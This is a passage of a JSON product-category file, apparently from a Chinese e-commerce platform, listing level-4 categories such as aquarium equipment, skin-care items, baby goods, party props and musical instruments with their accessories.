alse},{"id":30624,"name":"二氧化碳设备","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30611,"name":"肥料","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30616,"name":"孵化器","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30623,"name":"过滤设备","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30609,"name":"pH计","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30618,"name":"潜水泵","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30625,"name":"杀菌消毒设备","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30619,"name":"生态瓶/创意缸/桌面微景缸","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30610,"name":"水草","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30617,"name":"水温计","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30615,"name":"喂食器","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30621,"name":"温控设备","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30613,"name":"鱼缸/水族箱","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30626,"name":"鱼缸清洁用具","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30612,"name":"造景/装饰","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30622,"name":"照明器材","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30627,"name":"其它水族用具设备","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30678,"name":"唇部护理套装","parent_cid":25996,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30669,"name":"唇部精华","parent_cid":25996,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30675,"name":"唇部磨砂膏","parent_cid":25996,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30657,"name":"唇膜","parent_cid":25996,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30655,"name":"面膜","parent_cid":25992,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30656,"name":"面膜粉","parent_cid":25992,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30679,"name":"手部护理套装","parent_cid":25997,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30670,"name":"手部乳霜","parent_cid":25997,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30658,"name":"手膜","parent_cid":25997,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30664,"name":"洗手液","parent_cid":25997,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30665,"name":"按摩油","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30663,"name":"颈膜","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30666,"name":"沐浴露","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30681,"name":"身体护理套装","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30677,"name":"身体磨砂膏","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30674,"name":"身体喷雾","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30673,"name":"身体乳霜","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30668,"name":"身体皂","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30667,"name":"爽身粉","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30661,"name":"浴盐","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30676,"name":"足部磨砂膏","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30662,"name":"足膜","parent_cid":26003,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30680,"name":"眼部护理套装","parent_cid":25999,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30672,"name":"眼部精华","parent_cid":25999,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30671,"name":"眼部乳霜","parent_cid":25999,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30659,"name":"眼胶","parent_cid":25999,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30660,"name":"眼膜","parent_cid":25999,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30697,"name":"口水巾","parent_cid":26467,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30696,"name":"三角巾","parent_cid":26467,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30699,"name":"食饭兜","parent_cid":26467,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30695,"name":"手帕","parent_cid":26467,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30698,"name":"小围嘴","parent_cid":26467,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30700,"name":"吸汗巾/垫背巾","parent_cid":26467,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30693,"name":"被套","parent_cid":26452,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30694,"name":"被子","parent_cid":26452,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29352,"name":"翅膀/天使棒","parent_cid":23459,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29350,"name":"服饰","parent_cid":23459,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29354,"name":"聚会装饰假发","parent_cid":23459,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29357,"name":"聚会装饰帽子","parent_cid":23459,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29356,"name":"聚会装饰套装","parent_cid":23459,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29355,"name":"聚会装饰头箍","parent_cid":23459,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29351,"name":"面具","parent_cid":23459,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29349,"name":"头饰","parent_cid":23459,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29353,"name":"荧光棒/应援棒","parent_cid":23459,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29348,"name":"魔术道具","parent_cid":23458,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29347,"name":"魔术教学","parent_cid":23458,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29346,"name":"魔术套装","parent_cid":23458,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29345,"name":"杂技用具","parent_cid":23458,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29705,"name":"班卓琴弦","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29692,"name":"背带钮","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29694,"name":"贝司弦","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29690,"name":"变调夹","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29688,"name":"拨片/拨片套","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29711,"name":"单块效果器","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29706,"name":"电吉他弦","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29671,"name":"吊架","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29693,"name":"调音器","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29712,"name":"古典吉他弦","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29687,"name":"滑棒/指套","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29674,"name":"脚凳","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29709,"name":"吉他背包/琴盒","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29703,"name":"吉他背带","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29702,"name":"吉他电源","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29713,"name":"吉他合成器","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29714,"name":"吉他连接线","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29721,"name":"吉他效果器配件","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29704,"name":"曼陀铃弦","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29715,"name":"民谣吉他弦","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29716,"name":"清洁保护品","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29689,"name":"上弦器","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29691,"name":"拾音器","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29672,"name":"弦枕","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29673,"name":"弦柱","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29717,"name":"综合效果器","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29718,"name":"其它吉他配件","parent_cid":23800,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29680,"name":"肩垫","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29695,"name":"拉弦板","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29679,"name":"琴码","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29678,"name":"琴托","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29696,"name":"提琴弓","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29699,"name":"提琴盒/包","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29697,"name":"提琴弦","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29676,"name":"微调","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29675,"name":"弦钮","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29677,"name":"指板","parent_cid":23801,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29523,"name":"板鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29529,"name":"花盆鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29527,"name":"空灵鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29522,"name":"排鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29520,"name":"堂鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29525,"name":"铜鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29530,"name":"象脚鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29528,"name":"细腰鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29526,"name":"秧歌鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29524,"name":"腰鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29521,"name":"战鼓","parent_cid":23671,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29516,"name":"低音锣","parent_cid":23666,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29519,"name":"虎音锣","parent_cid":23666,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29511,"name":"京锣","parent_cid":23666,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29517,"name":"开道锣","parent_cid":23666,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29512,"name":"手锣","parent_cid":23666,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29514,"name":"苏锣","parent_cid":23666,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29513,"name":"武锣","parent_cid":23666,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29510,"name":"云锣","parent_cid":23666,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29518,"name":"舟山锣","parent_cid":23666,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29762,"name":"巴乌","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29761,"name":"尺八","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29763,"name":"笛子","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29764,"name":"管子","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29804,"name":"葫芦笙","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29803,"name":"葫芦丝","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29765,"name":"芦笙","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29746,"name":"笙","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29760,"name":"唢呐","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29766,"name":"陶笛","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29747,"name":"箫","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29745,"name":"埙","parent_cid":23834,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29806,"name":"弹布尔","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29805,"name":"冬不拉","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29768,"name":"古琴","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29769,"name":"古筝","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29775,"name":"箜篌","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29772,"name":"柳琴","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29773,"name":"琵琶","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29774,"name":"秦琴","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29807,"name":"热瓦普","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29748,"name":"阮","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29767,"name":"三弦","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29770,"name":"扬琴","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29771,"name":"月琴","parent_cid":23835,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29810,"name":"艾捷克","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29781,"name":"板胡","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29809,"name":"低音胡","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29777,"name":"二胡","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29783,"name":"高胡","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29808,"name":"京二胡","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29778,"name":"京胡","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29811,"name":"马头琴","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29779,"name":"四胡","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29782,"name":"椰胡","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29776,"name":"中胡","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29780,"name":"坠琴","parent_cid":23836,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29756,"name":"梆子","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29759,"name":"镲锅","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29752,"name":"川钹","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29750,"name":"大钹","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29798,"name":"大顶钹","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29751,"name":"大铙","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29753,"name":"广钹","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29749,"name":"军镲","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29754,"name":"快板","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29755,"name":"拍板","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29758,"name":"碰钟","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29801,"name":"萨巴依","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29757,"name":"水镲","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29802,"name":"铜书板","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29799,"name":"秧歌镲","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29800,"name":"腰鼓镲","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29797,"name":"其它镲","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29830,"name":"其它民族乐器","parent_cid":23833,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29796,"name":"巴松/大管","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29788,"name":"大号","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29812,"name":"单簧管","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33887,"name":"电吹管","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29790,"name":"短笛","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29813,"name":"卡祖笛","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29786,"name":"口琴","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29827,"name":"萨克斯风","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29814,"name":"双簧管","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29791,"name":"竖笛","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29789,"name":"小号","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29787,"name":"圆号","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29793,"name":"长笛","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29792,"name":"长号","parent_cid":23838,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29818,"name":"邦戈鼓","parent_cid":23839,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29817,"name":"电子鼓","parent_cid":23839,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29820,"name":"非洲鼓","parent_cid":23839,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29826,"name":"架子鼓/爵士鼓","parent_cid":23839,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29819,"name":"静音鼓","parent_cid":23839,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29824,"name":"卡洪鼓/箱鼓","parent_cid":23839,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29816,"name":"康佳鼓","parent_cid":23839,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33888,"name":"手碟","parent_cid":23839,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29815,"name":"小军鼓","parent_cid":23839,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29823,"name":"电子琴","parent_cid":23840,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29794,"name":"风琴","parent_cid":23840,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29821,"name":"口风琴","parent_cid":23840,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29822,"name":"手风琴","parent_cid":23840,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29828,"name":"手卷钢琴","parent_cid":23840,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29829,"name":"数码钢琴","parent_cid":23840,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29742,"name":"班卓琴","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29735,"name":"贝司-电贝司","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29734,"name":"贝司-木贝司","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29740,"name":"大提琴","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29744,"name":"低音提琴/倍大提琴","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29733,"name":"吉他-电吉他","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29738,"name":"吉他-电箱吉他","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29736,"name":"吉他-古典吉他","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29737,"name":"吉他-民谣吉他","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29741,"name":"小提琴","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29743,"name":"尤克里里/小吉他","parent_cid":23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29739,"name":"中提琴","parent_cid"